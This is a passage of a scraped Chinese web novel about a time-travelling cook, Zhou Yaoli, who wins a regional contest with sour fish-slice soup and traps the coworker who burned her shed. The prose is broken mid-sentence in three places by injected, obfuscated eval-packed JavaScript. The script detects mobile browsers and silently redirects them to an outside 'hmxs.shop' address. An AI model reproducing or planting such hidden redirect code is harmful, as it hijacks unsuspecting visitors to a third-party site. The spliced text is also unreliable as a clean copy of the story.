正轨。整条视频不长也就五六分钟，周妈妈最后还叮嘱她第一次处理鱼别买鲢鱼、草鱼这些，刺多难片。 她不知道那条还在水槽摆尾的鱼刺多不多，拍了张照片发过去，接着就收到妈妈的回信。 「妈妈：呀，你买的鲢鱼。」 妈妈说的果然没错，周瑶理处理鱼时都快绝望透顶，没见过鱼刺这么多的。 片鱼时还不小心划到自己，还在她收刀得早伤口不深。 雍都。 周瑶理一连几天下工都匆匆往家赶，连饭都来不及吃就挂上围裙练习片鱼。 别说她都快吃吐了，就连房梁上的野猫最近都不来她院子玩儿。 努力总归是有收获的，至少片鱼对现在的她而言简直轻而易举。 虽然手上布满大大小小的伤口。 离入围赛开始时间还剩五天的时候，周瑶理找了外挂。 入围赛的食材为选手自备，周瑶理打算提前将鱼选好先养着，以防出岔子。 但她看遍鱼摊上的鱼，要么不够新鲜要么太小了，总之买不到心选的。 不过她还有林嘉行这个外挂。 上回把跟踪她的那个男人揍一顿时周瑶理正在气头上，顺嘴把无辜的林嘉行也骂了一通。好在对方并为放在心上，听她说完便欣然同意帮忙。 林家大户，家中厨子采购食材自然是够得到好的商贩子。 林嘉行第二天一早便带着周瑶理和自家厨子，赶往几里外的村里挑选物资。 那是个临河渔村，全村人都靠捕鱼为生。 他们来得凑巧，岸边全是刚网上来的鲜鱼。 瞧见他们仨个面生的，村民纷纷停下动作。人群中较为眼尖的渔女打眼就认出林家的厨子。 那胖子经常买她家的鱼。 “陈师傅今天咋自己跑一趟，等会儿我就给你送去！” 三人说明来意后，对方引他们过去挑选。 渔民瞧见她俩的穿着就不是普通人家，全都挤上前推销自个儿捞上来的海味。 “郎君瞧瞧这河虾，个头大的哟！” “娘子爱吃鱼吗？咱这鱼肉可肥。” 最后周瑶理斥巨资拎走一条足有八斤重的黑鱼回家。 为了保证鱼还活着，周瑶理提前准备好水缸，托渔民用木板车帮她送回去。 “就送到这里，多谢老伯。” 周瑶理朝那一路跟着他们送鱼回来的渔民道谢，林嘉行醒目地从荷包里摸出几钱塞进对方手中，那老伯瞬时喜笑颜开，只说以后买鱼鲜尽管寻他。 待人走后，二人合力将水缸抬进巷子朝家去。 刚走两步就看见黄蛮从巷尾那走过来，一语不发绕过她俩。 本就关系不好，周瑶理忙着抬水缸，也就没多搭理他。好不容易搬回家，二人累得蹲地呼呼喘气。 这个月周瑶理都告假两次，东家竟也未曾说一嘴，黄蛮难免有些不服气。 “不就是做了几道没见过的菜吗，谁稀罕。”他锁上门自言自语安愤愤说道。 他早上出门得急忘锁门了，午时才想起来匆匆跑回家，结果就遇上周瑶理吭哧往家里搬东西。 黄蛮路过时瞄了眼。 嚯，好大的黑鱼！ 这下更是心里不平，藏在暗处阴测测的目光射向周瑶理家门口。 21. 不出意外的话，就要出意外了^…… 赛前第四天，周瑶理的鱼死了。 起因是一场大火，一场莫名其妙的火。 当天晚上周瑶理把自己参赛要用到的食材都整理出来，仔细核对无误后准备睡觉，突然闻到一股焦味儿。 抱着怀疑打开门准备四处查看。 “我记得把火灭了的。”周瑶理边开锁边自言自语道。 等她走出门发现坏事了。 卧房旁边的竹棚子不知怎的起火了，正巧最近干旱无雨，火烧得更快。 再不灭火就要烧到她卧室了。 “来人呐，走水了！”周瑶理扯开嗓子大喊，急得像热锅蚂蚁乱撞。 好巧不巧，她家里只剩下半缸水。 顶上的火烧得旺，晚风一吹零星火点子全跳到房梁上。 其他街坊邻居闻声立马赶到，有的直接将家里的水缸搬来，就连住在巷尾的黄蛮也闻讯跑来。 火苗位置太高，泼出去的水一半落在棚上一半掉在地上。 院里还剩一缸子水，那个周瑶理养鱼用的。 不知道是谁喊了句这里还有水，一窝蜂的人涌上来舀起水就往上泼。等缸里的水快要见底，火也差不多灭了。 周瑶理一回头就看见黄蛮搬起水缸就往外倒，她还没来得及制止就见几个热心肠的大哥跑过去帮忙，将仅剩的一点水倒出来泼出去。 慌乱中鱼被踢来踢去，蹦跶两下就再也不动弹。 火灭了，鱼也跟着火去了。 “我的鱼…”周瑶理蹲在地上抱着奄奄一息的鱼欲哭无泪。 这是她斥巨资买的，整整花她35文呢！ “别哭了小周，先回去休息吧。”王婶见不得这些伤心事，忙上前扶起她。 刚刚大家着急灭火，水泼得到处都是。住是没法儿住了，王婶干脆带她回家。 周瑶理还在伤神中，一转眼王婶都替她把门锁好了。 “不用了婶子，我在家里的厨房将就一晚就行。” 虽说王婶年纪不算大也就四十来岁，但是大晚上的要是起夜看见本来在床上睡得好好的人凭空消失，估计也得吓出病来。 “你这孩子跟我客气什么！” 对方不理会她拒绝，强硬拉回家。 进门后周瑶理才知道原来隔壁的房子是两居室。 上回她只是过来吃顿饭，也就没太在意这房子的布局，这回才发现厨房边上居然还有间小屋子。 王婶当是和丈夫买这间屋子时就看上里头有两间房，到时侯有孩子了也不尴尬。 倒没想世事无常，几年光景孩子没见着，家中也只剩自己一人。一来二去的就把小屋子改成绣卧，平时都在这间绣卧里做活。 这样周瑶理便放心住下，接过王婶拿过来的被子枕头。 一开始王婶打算自己睡这的，周瑶理非是不肯，无奈之下只好顺着她的意思。 迷迷糊糊中周瑶理感慨，不幸中的万幸，现在是九月天不算冷。 就是抱着薄薄的被单也不怕着凉，只是她的鱼再也不能吐泡泡了。 第二天一早青乌巷走水的事满大街都传遍了。 连住得远的林嘉行都知道。 文竹听家里其他下人说的，说是青乌巷昨晚半夜起好大火，烧的还是个厨子的家。 他一听厨子，那不就是周姑娘嘛！吓得立马丢下手中的活计往林嘉行卧房跑。 “郎君不好了，周姑娘家烧了！” 林嘉行早上起得早，这会儿还赖在被窝里睡回笼觉。文竹一惊一乍跑进来嘴里还嚷嚷着周瑶理家着火了，他瞌睡精都被吓跑了。 二话不说起床更衣，差人套了马就往云禾酒馆赶。 好不容易到了地进去一问，周大厨家中出事今日没上工，又马不停蹄往青乌巷方向去。 周瑶理果然在家中，门户大开。 林嘉行站在门外看向她的背影，有些说不出话。 就是背对着他也能感觉到周瑶理现在心情不算太好，伸出去的手还未够到对方的肩膀就又收回。 周瑶理察觉到门外有人经过并且停留，一猜就是林嘉行。 这么早也就只有他会来了。 瑜娘半月前陪她嫂子回娘家，这会儿估计还没回来。 “你说，怎么就着火了呢。”周瑶理头也没回，轻声问道。 也不是问，林嘉行不确定她是不是在跟自己说话。 “人没事就好。”他也不知该如何安慰，只好走上前和她并排站着。 其他地方倒无大碍，至少厨房那儿完好无损。就是卧房旁边的大棚已经烧完了，只剩下黑乎乎几根竹竿。 “要不这几日先住我家？”林嘉行到处查看一番还是有些不担心。 “不麻烦你了，还能住。” 虽然卧房也被牵连到，但还能住人。 林嘉行不这么想。 这火起得莫名其妙定是有人在背后动手脚，对方现在敢放火，只后还不知道干出啥事。 周瑶理琢磨过后有些后怕，对林嘉行的提议瞬间心动不少。 “安全起见你先跟我回家，其他事慢慢来。”林嘉行见她松口，继续加把火力。 最终周瑶理回房火速收拾东西，提着坛子跟林嘉行回去。 他说得对，活着要紧！ “阿行回来啦。”林章听下人说林嘉行大早上风风火火跑出门，这会儿带了个陌生娘子回来，连忙赶出来看热闹。 林嘉行简单交代过后，林章立马让人把厢房收拾出来给周瑶理住。 “周姑娘安心在家中住下，切莫跟我客气。”说完随后看向她怀里抱着的坛子，“坛子可需放到厨房？” “不用了多谢，它和我住就行。”周瑶理摆摆手，第一次住人家里还有些不好意思。 她本来就是个慢热的性子，得熟了才能放得开。 在林家住了两天过后，沈秋瑜陪嫂子探亲回来。刚到家门就听说周瑶理出事了，立马让车夫掉转马头去林家。 “周姑娘，沈家二小姐在堂厅等您。” 周瑶理丢下笔跟着丫鬟去往堂厅，刚踏过门槛沈秋瑜就扑上来。 “出什么事了？可曾伤到？”沈秋瑜眉头都蹙成一团，转着圈将她摆弄一番。 “还好还好，就是我的鱼没了。”周瑶理拉住她的手笑着坐下。 “怎么会突然起火？”沈秋瑜想不通，周瑶理每天除了在云禾上工就是在家里捣鼓吃的，哪有闲空给自己招来仇家。 再说了，就她那见了生人就躲的性子，仇家这种东西根本是不存在的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943626|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就是说啊！周瑶理自己也纳闷儿好几天。 但是赛事临近她也没其余精力去查这事儿。 入围赛开始只剩最后两天，周瑶理还没买到心选的鱼。 “哎呀周姑娘，鱼这东西可遇不可求，要不您就将就算了。”上回卖她黑鱼的老伯比她还愁。 周瑶理最近几天一大早就跑这来对着那筐鱼挑三拣四，死活要他再捞条差不多的。 林嘉行倒每次都陪着，做足保镖工作。 “不着急慢慢来。” 边上的老伯一听这话气得吹胡子瞪眼，什么叫不着急！这姑娘每天都来他这又不买点东西，要再这么下去他生意都快吹了。 大赛当日。 入围赛报名的厨子太多，比赛时分为上下午场。 周瑶理运气好分到下午场，未时开始。 云禾其他人一早上都没看到她人，其实从那天开始就没再见到了。 东家从出事那天起便给她放假，直到大赛结束。 等下午场开始，所有厨子全都就位后，场上还剩最后一个空灶台。 周瑶理还没到。 “这丫头到底干嘛去了！”老刘急得团团转，他和黄蛮早上就比完了，不出意料地落选。 “怕不是关键时候害怕了吧。”黄蛮还在旁边说风凉话，被李莽一巴掌拍向后脑勺才闭嘴。 “比赛正式开始！时间为一个时辰。”衙役绕场敲锣。 所有参赛的厨子听到锣鼓声瞬间忙活起来，生怕浪费一丁点时间。 文竹抱着坛子站在最前头止不住往人群外探头，怎么还不来！ 许是惦念声太大，不久林家马车从远处加速赶来。 杂乱的马蹄声止，林嘉行率先撩开帘子，下一秒周瑶理提着鱼从帘子里钻出来，借他的力跳下马车。 不枉她三番五次跑渔村，总算赶在大赛结束前买到想要的了。 “麻烦让让！”周瑶理提鱼拽袍只身挤进人群。 周围的看客怕鱼腥沾身，连连后退给她让出条路来。 “周姑娘！坛子！”文竹怕自己被人群掩盖高声喊道，一蹦三尺高。 高台上的县令老早就发现她们这边的动静，打量许久才问下边的衙役。 “回大人，那是云禾酒馆的人。”末了响起周瑶理是谁，“就是那位前段时间家中着火的娘子。” 县令这会儿想起来了，那姑娘看着年轻但气度不凡。当天不哭不闹上衙署备供完竟也未曾再说些什么，不知道的还以为着火的是她邻居家。 周瑶理像无头苍蝇飞过找不到地儿，眯眼看见李莽朝她招手。 “赶紧的别耽误，没时间了。”李莽拽过她指了空位，恨不得背她过去。 周瑶理不忘问时间，她就想知道逾时参赛会不会取消资格。 “还有一炷香！”老刘看了眼台上的香炉，面色难看起来。 全都完了，又不是普通家常菜，一炷香的时间怎么够。 这可是比赛！ 巧了，她做的就是家常菜。 “足够了。”周瑶理笑得明媚。 不就是一炷香吗，等她做完估计还能剩下时间。 说罢，周瑶理走到自己的灶台放下鱼，挽起袖子捞起襻膊戴上一气呵成。 22. 酸鱼片汤，请吃 酸鱼片汤其实不难，关键在食材和片鱼的刀工。 但周瑶理这段时间每日苦练，杀鱼对她而言早已手拿把掐。新提的鱼不比上次那条好，重量轻些，但怎的也有六斤重。 刀背在鱼头处猛地一敲，刚还会活蹦乱跳的鱼瞬间晕死过去。 周瑶理熟练地对鱼开膛破肚剔骨取肉，转眼工夫一条硕大的鱼摇身一变，成了两大盘鱼生。 这次她采用砂锅煮汤，片鱼前就已将水煮上，这会儿正滚开。 砂锅底部还垫了薄薄一层豌豆粒防止烧锅，水开时豌豆粒也止不住跳动。 围观民众的视线全部聚焦在周瑶理身上，就想看看这姑娘到底有什么能耐。 毕竟来得那般晚却还能不急不躁，实在吊足人胃口。 只见周瑶理从地上搬起坛子开盖，伸手摸出一块东西来。看着像是腌过的时蔬，但和雍都的腌菜又有些不同。 这就是周瑶理的另一个杀手锏，老广咸菜。 雍都的咸菜类似当今东北酸菜，炖粉条或是炒肉条都很开胃，但却不适合做她想要的酸鱼片汤。 她的咸菜做法是妈妈教她的。和东北酸菜不同的是，在腌制前得把整菜撕成碎片晾晒几日过后再层层叠放进坛子。 菜和盐的比例不同，腌渍出来的咸菜口感也会大相径庭，且菜梗和菜叶都有不同的吃法。 周莲莉是腌咸菜的一把好手，每年新坛咸菜都是脆爽十足，腌菜梗拿来煮鱼汤更是鲜香。 周瑶理取出两三片菜梗，用清水洗净后再切成厚度均匀的薄片投入锅中，与此同时斩成段的鱼骨一并丢入炖煮。 等锅盖周边开始跳动发出呼噜声立马掀开。一掀盖子离得近的人全都闻到那股酸汤味儿。 很难以言说的味道，说咸又不是，但离酸还差点意思。许是锅中有鱼骨的缘故，咸菜酸味并不浓郁，中和了骨汤滋味后反而是鲜香扑鼻。 “小周拿的是什么东西？”老刘年纪上来了眼神不好站得还远，眯着眼睛看半天也不知道周瑶理从坛子里取出啥来。 “会不会是…芥菜？”站在边上燕娘说道。 云禾的人转头看她，这丫头怎么知道的。 燕娘当然知道了，刚入秋那会儿周大厨就请她帮忙去菜摊买芥菜球。一开始她还纳闷儿呢，周姐姐力气未免太小，几颗芥菜球都提不动。 等她付完钱燕娘就知道为什么周瑶理要请自己帮忙了。 她居然买了十斤！ 回家时燕娘还提醒她，买这么多怎么吃得完，菜会坏掉的。 当天周瑶理笑得神秘，只说到时候做成好吃的再送她一点。 十斤听起来很多，但腌好了也才有周瑶理手上那一坛的量。 周围的嘈杂声并未影响到周瑶理，还是心无旁骛地盯紧砂锅。第二次开盖时立马将鱼片倒入，再及时拨开防止受热不均。 随后立马盖上盖子等待最后一次煮开，趁此期间她着手准备鱼肉蘸料。 其实鱼片不蘸酱也行，鱼肉本身的鲜甜就已经足够滋味。但据周瑶理观察，昌南道人口味要重些，蘸酱还是备着点比较好。 鱼肉蘸料也简单，酱油大蒜和芫荽，还有一点素油即可。 最后再加几颗食茱萸。 这里没有辣椒，但她发现还有一味食材可以代替辣椒，便是食茱萸。 将食茱萸碾破混入酱料中搅拌均匀，简易版百搭蘸料就完成了。 此时鱼汤正好煮开，周瑶理立马将砂锅挪走举手示意。 至此，她已完成参赛菜品。 而香柱还剩最后小半截。 “好快，居然比其他人都要早上菜！”人群里窃窃私语声此起彼伏，都不相信来得最晚的竟然最早结束。 “不会是自暴自弃了吧。”也有阴谋论者，毕竟周瑶理这道菜着实简单了点，甚至没见她往汤里加调料。 连盐都没加。 也有人反驳，“必是不可能的！”他闻到了。 那锅汤可鲜，还带着细微酸味儿，但又不是平常的菜酸。 就像望梅止渴！ 周瑶理将分装好成各小碗的鱼汤和蘸料方在托盘上等衙役端走，临走前特地交代得先喝汤再吃肉。 衙役照做，呈上去时按照她所说一五一十复述给上边的人听。 入围赛的评审团分为两部分，一部分是以县令为主的其他官员小吏，另一部分则是在评选当天随机挑选十位民众一同参与评选。 县令率先动筷，想起周瑶理交代的话又放下筷子，端起小碗轻抿一口。 “哦？”不一样。 这口感和他想的不一样，鱼汤刚呈上来时看见表面清如许未飘油花，县令暗自下定论该是清汤寡水。 却没想看着如此寡淡的汤水竟已被鱼骨渗入，而混在其中的酸感似有似无，毫不喧宾夺主。一碗鱼汤的个中滋味，得亲身尝了才知。 接下来是鱼肉，刚打捞上来的就是不一般。在座各位都看到周瑶理杀鱼的过程，鲜血飞溅却不血腥，只觉干净利落。 鱼肉片工了得，毫无鱼刺可见，入嘴更为鲜嫩。肉片薄厚均匀，嫩滑的同时又在唇齿间察觉其肉的本质弹爽，烫煮时间掌握得恰到好处。 这得是砂锅的功劳。 砂锅储热好，即使离火汤汁也能在余温下持续沸腾。 也是周瑶理为什么在鱼汤刚开就将砂锅搬离火源的原因。 砂锅内存着的温度足以将半熟的鱼片焖至全熟，但又不至于使鱼肉在过高的温度下失去肉质的紧致弹劲。 香柱燃尽，其他厨子纷纷停手。 评选台上接二连三呈上精致菜肴。一开始还好，但连续十几道过后众人再也遭不住。 所有人都奔着夺冠而来，选中的菜品自然都是重工且重油。若是平时过年过节时能在桌上摆上一两道，定是会让人赞不绝口。 只可惜这是比赛，满桌都是红绿妆点的大鱼大肉，有不少人连举筷的动作都慢不少，只觉食不下咽。 这会儿不得不回味起周瑶理那道鱼汤来。清甜而不浓郁的鱼汤夹杂着开胃的酸爽，在各肥腻肉盘中脱颖而出。 有嘴馋的当时还捡了碗中的咸菜尝味，惊讶不已，炖煮如此之久竟也如此脆爽毫不软绵。 难怪不曾见过周瑶理往鱼汤里加盐，咸菜自带的酸咸已然可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948192|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以充当盐的作用。 酸爽开胃又解腻，让人面对满桌佳肴还想回头再来一碗。 大抵就是回味吧。 这便是周瑶理想要的效果。 上学的时候离家远，只有等到放长假才能回家，每次周莲莉都会准备一大桌子菜，最后再端上鱼汤现煮。 周瑶理每回都惦记那锅鱼汤，倒不是其他菜色不好，只是吃多了油腻总想用清淡的漱漱口。 打算用酸鱼片汤参赛时她就想到这点，她要想当全场亮点，就必须坐那道解腻鱼汤的位置。 不枉她绞尽脑汁，如愿当上亮点。 周瑶理众望所归，夺得桂冠。 “本官大抵猜到周庖厨为何会选这道鱼汤参赛，果真高明。”县令大人笑着走下台。 他好歹考学十载，又在昌南道为官五载，怎会看不出周瑶理那点打算。 周瑶理小心思被人戳破也无所谓，她一不抢二不偷，凭实力说话。再者，比赛就是得拼尽全力准备，不论是体力还是脑力。 从县令手中接过名牌时她还有点恍惚，没想到会这么顺利。 名牌是提前刻好盖上章印的，但是名字是现写的，上头的笔墨还没干透。 云禾的人不知什么时候和林嘉行还有沈秋瑜他们站在一块，周瑶理朝他们站的位置咧嘴笑得好不得意，止不住挥手。 底下不少人被他们说的鱼汤馋得不行，七嘴八舌让她再做一份吧。 周瑶理见此哭笑不得，想也没想就答应了。 比赛时鱼片只用了一盘，剩下的不吃也是浪费。 原来的那锅鱼汤所剩无几，她干脆将锅底食材全部倒掉新起一锅。除去片鱼的时间再煮鱼汤方便许多，转眼工夫新的酸鱼片汤出锅。 “不着急啊，别烫着了。” 前头的人见她开始分装便猛地冲上，生怕晚一步就没了。后头的人反应以来也挤上前去，比赛场地瞬间被人层层围住。 身为厨子的周瑶理竟也被他们挤出来，茫然站在外头。 还好名牌没挤掉。 县令老爷见状急得立马喊衙役上前制止，撑着老骨头上去拉架，结果被哪个不长眼的一把推倒。 “反了！都反了！”县令艰难从地上爬起来，气得跳脚。 周瑶理她们连忙上前搀扶，最终目送其他小吏送他离开。 “看！我是首等诶！”周瑶理摇了摇手中的木牌，眼睛都笑眯起来。 沈秋瑜也被逗笑，这几天她担心得不行，偏偏今日周瑶理还来迟了，她站在人群中帕子都快捏断了。 只是，周瑶理摘桂是不是意味着她快离开昌南道了。 “瑶娘是否就要离开了…”刚还抿嘴笑的沈秋瑜眉头染上愁色，拉住周瑶理的手轻轻晃动。 对哦。 她这才想起，接下来得开新地图了。哎呀，刚刚县令急匆匆往医官的方向去，她还没来得及问清楚下一场比赛的时间。 不过她还有一事没解决完，不着急离开。 比赛结束后空闲下来，周瑶理终于有机会细查到底是哪个杀千刀的烧她房子！ 看她不把人揪出来胖揍一顿！ 23. 公堂之上谈何狡辩 赛后周瑶理的假期结束，又回了云禾。但是因为要奔赴下一场比赛，做完最后几天的活就准备启程。 这次回来还是因着东家的缘故，应他的请求将先前那几道菜的做法都写下来，把关键细节都和老刘他们交代清楚，就连比赛做的酸鱼片汤都没放过。 东家再三保证，腌菜的配方一定会打上她的大名，周瑶理这才松口。 “周姐姐这段时间还继续住在林家吗？”燕娘在一旁帮忙备菜，想起周瑶理到现在房子都还没修好。 她想要是周姐姐愿意，可以来她家住几天。 燕娘平时都和姐姐睡一屋，她姐姐上个月刚成亲，空出个床位。 “不用啦，反正也没几天了。”周瑶理笑着拒绝，“昨儿我在家中发现了放火烧我家的歹人不小心留下的东西。” 边上的黄蛮听了一嘴，手中的动作放慢，竖起耳朵继续听墙角。 “林郎君说会住我一臂之力，住他家也方便。”说罢周瑶理还若有其事地惊呼，“可惜早上出门忘了拿，等明儿有空再去取好了。” 话音刚落，身后的黄蛮丢下刀满脸阴沉地走出去。 燕娘被他这突然的动响吓住，忙问怎么了。 周瑶理瞥了眼勾起嘴角悠悠说道，“可能人有三急。” 她根本没有找到证据，只是想试探一下黄蛮罢了。 没想到这货居然这么快就自爆身份。 当晚，黄蛮悄摸从巷尾摸黑走来，本以为还得爬墙，没想到周瑶理早上出门前居然忘锁门了。 黄蛮只觉天助我也。 多年的老门未上油，稍微有点动静就吱呀乱响。夜深人静中轻微的声响都会被放大，以免引起别人的注意，黄蛮快速钻进门，终于打进周家。 “放哪儿了，是不是诓我。”他一边在周瑶理家里乱翻，一边自言自语。 现在想起来确实不太对劲，周瑶理看起来不像那么马虎的人，不可能连门都不关。 但是现在察觉已经太晚。 身后传来关门声，黄蛮猛地一回头就看见林嘉行的小厮举着根粗木杆守在门口，再回头就见林嘉行不知道从哪个角落冒出来，正站在卧房门口抱胸俯视他。 “终于发现我是诓你的了，那又怎样。”周瑶理从厨房出来，手里拿着菜刀笑得渗人。 黄蛮冷汗直冒。 不对，他刚才明明去过厨房，并未发现里面藏了人。 周瑶理确实没藏在厨房，而是藏在后面堆放柴火的小房子里。柴房和厨房中间有道小门，黑夜中是发现不了的。 即使发现了也没关系，黄蛮根本不会往那个方向想。谁会把证据放在柴房，不都锁在柜子里吗？ 他转身想跑，手刚伸向文竹，后背就被一股沉重的脚力击中扑倒在地，爬起来就看见林嘉行已经站在他身后。 周瑶理紧接着往他屁股再踹一脚，把菜刀塞沈秋瑜手中，操起洗手台上的抹布塞进黄蛮嘴里，拽下麻绳三下五除二将他捆住。 在他还没反应过来之前，周瑶理已经将人活逮并悠闲拍手清灰。 “真以为你做得很高明吗，没听过百密必有一疏这话？”她踱步到他面前，在黄蛮惊恐的眼神中对着他的脸轻拍两下。 事情还得从赛后当天开始说起。 那天县令被大家像捆年猪一样送往医馆，周瑶理来不及问他何时初赛，她还有多少赶路时间。 无奈之下她只好回家看看，虽然搬去林嘉行那儿的时候就把所有贵重东西都带走了，但是家中还剩下些锅碗瓢盆。 周瑶理想她的大铁锅好歹花了不少钱，就这么丢了怪可惜的，不如送给隔壁王婶做人情，也不算浪费。 结果刚到家门口还没进去就发现门外的墙上有处黑迹，她分明记得之前这块是很干净的。 也难怪她之前没发现，起火那天是半夜本就黑灯瞎火的，王婶匆匆带她回家睡觉，第二天又在祭奠她的鱼。 一来二去便没心思去关注这些。 这回空下来心思倒敏锐不少，她想起起火当晚确实有听见些异响，但以为是房顶的野猫弄出的动静，便也没多想。 即使发现脚印她还没对应到具体是何人身上，以为是街坊邻居搬挪东西时不小心蹭上的。 也不是没怀疑过黄蛮，只是当时对方也来帮忙了，周瑶理自我反思不能将人想得那么坏，世上还是好人多。 然而之前的猜想在两天前无意听到的对话中被完全推翻。 那日周瑶理起得晚，去酒馆也晚。 因为她即将离开昌南道，东家便也没太苛刻她的上工时间，只要能来就好。 刚走进厨房就听见燕娘在打趣黄蛮，说他未免忒邋遢了。 “蛮哥日子过得真糙，鞋都破了还在穿。”说罢瞧见周瑶理走过来，拉过她一块笑话黄蛮。 周瑶理闻言看过去，对面的鞋尖那确实破了，毛料都散开了。 黄蛮瞪了眼燕娘尴尬收回脚，飞快从她们身边闪过。 这下引起周瑶理的注意，他在尴尬什么？ 总不能是对自己有意思，不好在自己面前难堪吧。 接连一天周瑶理都在暗自观察，发现黄蛮的脚寸和她家门口墙上的脚印好像特别接近。 当天傍晚，她寻了个由头往地上泼了水假意清扫。 其他人路过时没注意踩得满脚低的水渍，黄蛮也不例外。 等人不注意的时候周瑶理悄悄比划了下，基本一致。 墙上的黑迹也这么大。 那天晚上周瑶理回去和林嘉行商讨一番，决定来个瓮中捉鳖。 便有了今晚这出戏。 “瑶娘居然和如此狠毒的人共事半年之久，还好没出什么大事。”沈秋瑜把菜刀丢开，走到周瑶理身边拉住她的手心有余悸地说道。 瑜娘出现在这纯属意外，早前撞见她出门买书，聊了两句沈秋瑜发现她今晚还打算回那间房子，死活不赞同。 周瑶理没办法只好将计划说予她听，结果沈秋瑜非要跟上。 “天色不早，两位小姐和郎君都去歇息吧，这由我来守就行。”文竹拎着木棍拍胸部打包票。 到这时周瑶理才发现睡觉是个大问题。 她这就一张床，要么她和瑜娘睡，要么林嘉行和文竹睡。 但是她没法儿和沈秋瑜同床共枕。 林嘉行会不会消失她不知道，但周瑶理自己会消失啊！ 入夜后只要她睡着就会凭空消失，到时候瑜娘往身侧一摸，躺得好好的活生生一人就这么不见了，得吓坏了。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952292|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用，”周瑶理摆手，逐个安排去处，“瑜娘你睡我的床，被子我离开前都有晒过，都是干净的。” “林嘉行和小文你们在厨房先将就一晚，那有两张椅子。” “这人冲我来的，我自个儿守着便是。”周瑶理看了眼黄蛮的位置，只见对方瑟缩了一下。 她想好了，反正天一亮她闭上眼就不会消失，大不了一晚不睡就盯着这小子。 “我也陪你。”林嘉行也留下。 周瑶理没意见，多一个人多留个心眼。 文竹还想说些什么，被林嘉行赶进厨房，顺手将门关上。 沈秋瑜也被周瑶理带进卧房，叮嘱她别担心好好休息。 其余人都安排好后，周瑶理抽出不知道从哪儿掏来的黑布条，把黄蛮眼睛蒙住。 她也不能保证自己撑不撑得住，万一真忍不住睡过去回到现代，被黄蛮看见自己消失的全过程，人不得吓死在自己屋里。 她可不想没把人送官，自己还莫名其妙背上条人命。 得不偿失啊！ 忍一晚上周瑶理手都快掐肿了，一直到天微微亮时才敢闭上眼小眯一会儿。 等其他人都醒了之后，周瑶理随便摸了把脸就压着人往官府赶。 一大早的，外边儿的登闻鼓就被人敲动，鼓声响彻云霄。 县令大人前几天把腰扭了，好不容易歇会儿又有事找上门，扶着老腰艰难走出门，跨过门槛时都能听到腰骨嘎吱作响。 “何人鸣冤呐！” 刚跨过门槛就见林家那位言安少爷和沈家二小姐杵在门外，小厮手上还押了一人，再往旁侧看，新鲜出炉的厨神入围赛桂冠手拎鼓锤，两眼放光地看着他。 “民女周瑶理在此击鼓申冤，还请大人替民女主持公道。” 惊堂木响，判官入座。 “且将堂中之人口中的布块取下。” 衙役上前抽出黄蛮口中塞得紧紧的抹布去掉，就见他迫不及待开口，为自己喊冤。 “大人一定要为小的作主，有人企图幽禁小人！” 说罢还恨恨地剜周瑶理一眼。 县令偏头看向她，询问对方所言是否真实。 周瑶理不慌不忙开口，“大人明鉴，民女昨夜发现此人在家中行鬼祟之事，疑是盗窃，便将此人捆了作罢。何来幽禁一说？” 县令都还未开口，黄蛮便急着说话。 “我何曾偷过你东西？你凭何将我绑住。” 周瑶理笑他蠢，“既不是偷我东西，你又为何三更半夜不睡潜入我家中？” 黄蛮哑言，继续狡辩自己路过，周瑶理随即将他绑进屋。 “大人，小人和她无冤无仇，您一定要为我做主啊！” 县令被他吵得头疼，直拍惊堂木喊肃静。等堂中安静片刻才继续问周瑶理，是这么回事吗？ 周瑶理一挥袖子朝坐在上头的县令行礼，再挺直腰板回话。 “对方说与我无冤无仇，那我为何无故将他捆住？再者，半夜已到宵禁时刻，他为何又在街上走动，在我家门口停留？” 周瑶理再鞠一躬，语气铿锵有力，“此人辩词毫无根据实乃悖论，公堂之上胡编乱造，可见毫无悔改之意。” “望大人明鉴，还民女一个公道。” 24. 离别悲书 “黄蛮，你宵禁时分为何在外游走？”县令问道。 “我没有！”对方拼死狡辩，咬死了不松口。 没有人证，谁也不能证明周瑶理和黄蛮到底谁说的是真话。陈县令只好先将这部分搁下，转头问他即是无冤无仇，为何笃定周瑶理是设计绑他。 黄蛮张口无言，说不出个理来。 “大人，此人和我同是云禾酒馆的厨子。”周瑶理见状直接点明身份。 陈县令一听，立马叫人把云禾东家喊来。 不一会儿，东家带上老李他们跟着衙役急匆匆赶到县衙。 “你是云禾的东家，这俩人是你酒馆里的厨子对吗？”县令指了指周瑶理二人。 东家连连称是，说早上还纳闷儿后厨怎么少了俩人，原来是在县衙。随后又问可是出了什么事情，他一定直言不讳。 “黄蛮称与周娘子毫无怨仇，但周娘子却将他幽禁。” 东家听了眉头都皱起来，支支吾吾半天才叹口气，“哎呀，他二人平日里确实不怎么对付。” 